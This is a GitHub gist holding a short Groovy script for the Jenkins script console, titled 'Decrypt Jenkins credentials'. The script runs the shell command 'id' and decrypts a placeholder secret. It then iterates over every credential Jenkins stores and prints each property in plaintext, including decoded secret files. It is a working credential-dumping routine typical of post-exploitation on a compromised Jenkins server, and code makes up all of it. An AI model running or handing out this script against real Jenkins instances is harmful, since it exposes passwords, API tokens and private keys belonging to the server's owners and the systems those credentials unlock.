Created
July 12, 2023 08:19
-
-
Save insi2304/44a42666d305fd5dbfb0a5a217549796 to your computer and use it in GitHub Desktop.
Decrypt Jenkins credentials
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
println("id".execute().text) | |
println(hudson.util.Secret.decrypt("{XXX=}")) | |
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{ | |
it.properties.each { prop, val -> | |
if (prop == "secretBytes") { | |
println(prop + "=>\n" + new String(com.cloudbees.plugins.credentials.SecretBytes.fromString("${val}").getPlainData()) + "\n") | |
} else { | |
println(prop + ' = "' + val + '"') | |
} | |
} | |
println("-----------------------") | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment